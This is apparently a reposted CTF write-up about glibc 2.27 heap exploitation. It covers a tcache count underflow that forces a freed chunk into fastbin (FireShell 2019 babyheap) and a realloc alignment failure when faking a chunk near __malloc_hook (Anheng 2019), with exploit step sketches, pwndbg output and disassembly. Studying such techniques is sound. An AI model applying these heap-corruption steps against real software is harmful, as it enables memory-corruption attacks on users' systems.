Some Tips in EXPs of Recent Challenges

0x01 babyheap in FireShell CTF 2019

free into fastbin??

new()#0x70->tcache chunk
delete()#free into tcache bin
edit(p64(fake_addr))#UAF->edit fd 
#attention: to fix tcache bin:(* tcache_chunk )*fake_addr->fd=0
new()
new()#malloc tcache chunk in fake_addr
new()#0x70->tcache chunk
#free into fastbin??
delete()

make sure->free into fastbin
debug->breakpoint before last delete():

pwndbg> p main_arena 
$2 = {
  mutex = 0, 
  flags = 0, 
  have_fastchunks = 1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0xcbc2c0, 0x0, 0x0, 0x0, 0x0}
#free into fastbin
......
......

It can also be seen&&something more:

pwndbg> bins
tcachebins
0x70 [ -1]: 0x0#attention:-1
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0xcbc2c0 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

tcache info:

pwndbg> p  *(struct tcache_perthread_struct *) 0xcbc010
$3 = {
  counts = "\000\000\000\000\000\377", '\000' <repeats 57 times>, 
  entries = {0x0 <repeats 64 times>}
}#octal

#malloc.c:
#typedef struct tcache_perthread_struct
#{
# char counts[TCACHE_MAX_BINS];
#  tcache_entry *entries[TCACHE_MAX_BINS];
#} tcache_perthread_struct;

It can be seen:
tcache->counts[0x70]=0377=0xFF

Hardware breakpoint at tcache->counts[0x70]:

#read->rwatch
#write->watch
#read&write->awatch
#example:int format: (r/a)watch *(int *)addr
pwndbg> awatch *0x1f05015 
Hardware access (read/write) watchpoint 1: *0x1f05015

pwndbg> c
......
......
►  0x7fa54bb7f212 <malloc+418>    add    rsp, 0x18
   0x7fa54bb7f216 <malloc+422>    mov    rax, rdx
   0x7fa54bb7f219 <malloc+425>    pop    rbx
   0x7fa54bb7f21a <malloc+426>    pop    rbp
   0x7fa54bb7f21b <malloc+427>    ret    
......
......

pwndbg> vmmap
......
0x7fa54bae8000     0x7fa54bccf000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
......

function offset:

offset=0x7fa54bb7f212-0x7fa54bae8000=0x97212

reverse libc-2.27.so with ida:

.text:00000000000971F0                 lea     rsi, [rcx+rax*8]
.text:00000000000971F4                 mov     rdx, [rsi+40h]
.text:00000000000971F8                 test    rdx, rdx
.text:00000000000971FB                 jz      loc_970DC
.text:0000000000097201                 cmp     rax, 3Fh
.text:0000000000097205                 ja      short loc_97220
.text:0000000000097207                 mov     rdi, [rdx]
.text:000000000009720A                 mov     [rsi+40h], rdi
.text:000000000009720E                 sub     byte ptr [rcx+rax], 1
.text:0000000000097212
.text:0000000000097212 loc_97212:                              ; CODE XREF: malloc+9E↑j
.text:0000000000097212                                         ; malloc+A6↑j ...
.text:0000000000097212                 add     rsp, 18h
.text:0000000000097216                 mov     rax, rdx
.text:0000000000097219                 pop     rbx
.text:000000000009721A                 pop     rbp
.text:000000000009721B                 retn

#breakpoint at
#.text:000000000009720E                 sub     byte ptr [rcx+rax], 1
#can make sure that:
#sub     byte ptr [rcx+rax], 1------->
#tcache->counts[0x70]=0xFF 

correspond to source code in malloc.c:

tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);#this position
  return (void *) e;
}
#tcache_put (mchunkptr chunk, size_t tc_idx)
#{
#  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
#  assert (tc_idx < TCACHE_MAX_BINS);
#  e->next = tcache->entries[tc_idx];
#  tcache->entries[tc_idx] = e;
#  ++(tcache->counts[tc_idx]);
#}

to sum up:

new()#tcache->counts[0x70]=0
delete()#tcache->counts[0x70]=1
edit(p64(fake_addr))#UAF->edit fd->add a chunk in tcache bin
new()#malloc from tcache bin->
#tcache->counts[0x70]--
#tcache->counts[0x70]=0
new()#malloc from tcache bin-->
#tcache->counts[0x70]--
#tcache->counts[0x70]=0-1=0xFF
new()#0x70->tcache chunk
delete()#(char )tcache->counts[0x70]=0xFF>7
#so this chunk free into fastbin bin

0x02 realloc error in anheng CTF 2019.1

some errors happened when I realloc fake_chunk at __malloc_hook-0x13(chunk_size=0x7F):

扫描二维码关注公众号,回复: 5237118 查看本文章
realloc(): invalid pointer: 0x00007f00eb485aed

debug step by step, we can find somthing wrong:

 ► 0x7fdc316ae724 <realloc+100>    test   r14b, 0xf
   0x7fdc316ae728 <realloc+104>    jne    realloc+928 <0x7fdc316aea60>
    ↓
   0x7fdc316aea60 <realloc+928>    mov    ebp, dword ptr [rip + 0x33f6ea] <0x7fdc319ee150>
   0x7fdc316aea66 <realloc+934>    jmp    realloc+266 <0x7fdc316ae7ca>
    ↓
   0x7fdc316ae7ca <realloc+266>    mov    eax, ebp
   0x7fdc316ae7cc <realloc+268>    and    eax, 5

#IDA:
#  if ( v5 <= -(signed __int64)v6 && !(v5 & 0xF) )
#  {
#    _R12 = 0LL;
#    goto LABEL_9;
#  }

correspond to source code in malloc.c:

  /* Little security check which won't hurt performance: the allocator
     never wrapps around at the end of the address space.  Therefore
     we can exclude some size values which might appear here by
     accident or by "design" from some intruder.  We need to bypass
     this check for dumped fake mmap chunks from the old main arena
     because the new malloc may provide additional alignment.  */
  if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0)
       || __builtin_expect (misaligned_chunk (oldp), 0))
      && !DUMPED_MAIN_ARENA_CHUNK (oldp))
      malloc_printerr ("realloc(): invalid pointer");

something else:
#define misaligned_chunk(p) \
  ((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem (p)) \
   & MALLOC_ALIGN_MASK)

to sum up:

realloc(): invalid pointer: 0x00007f00eb485aed
reason:
Although the header of fake_chunk(0x7F) can bypass the check of chunk_size(like malloc) 
but there is memory alignment check when realloc a chunk:
0x00007f00eb485aed&0xF!=0->
malloc_printerr ("realloc(): invalid pointer");

how could it success when edit fake chunk at &__malloc_hook-0x3.
In fact, it also works when we edit fake chunk address at &__malloc_hook.
This is related to the flow of program:

          v9 = strtol(nptr, 0LL, 10);
        }
        while ( v9 - 0x80 > 0xF80 );
        printf("Description :", 0LL);
        if ( *(_DWORD *)(*v10 + 0x40LL) < v9 )
        {
          *(_BYTE *)v10 = (unsigned __int64)realloc((void *)*v10, v9 + 68);
          v6 = 0;
          while ( 1 )
          {
            read(0, (void *)(v6 + 68LL + *v10), 1uLL);
            if ( *(_BYTE *)(v6 + 68LL + *v10) == 10 )
              break;
            if ( ++v6 >= v9 + 68 )
              goto LABEL_33;
          }
          *(_BYTE *)(v6 + 68LL + *v10) = 0;
        }
        else
        {
          v5 = 0;
          while ( 1 )
          {
            read(0, (void *)(v5 + 68LL + *v10), 1uLL);
            if ( *(_BYTE *)(v5 + 68LL + *v10) == 10 )
              break;
            if ( ++v5 >= v9 )
              goto LABEL_33;
          }
          *(_BYTE *)(v5 + 68LL + *v10) = 0;
        }

when the size we request below the size of note we malloc before:

read(0, (void *)(v5 + 68LL + *v10), 1uLL);
 if ( *(_BYTE *)(v5 + 68LL + *v10) == 10 )
        break;
 if ( ++v5 >= v9 )
        goto LABEL_33;

The program will read the stdin directly into the fake_addr, and realloc won't be called:

the size of note(struct info:offset of chunk2mem(chunk_addr)=0x40):

__malloc_hook-0x3/__malloc_hook+0x40->a number usually greater than 0x20(we request in exp) 
In this case, it will read the stdin directly into the fake_addr
__malloc_hook-0x13+0x40->Null(0)
In this case, it will call the realloc->error happened

猜你喜欢

转载自blog.csdn.net/weixin_34268579/article/details/87680510
今日推荐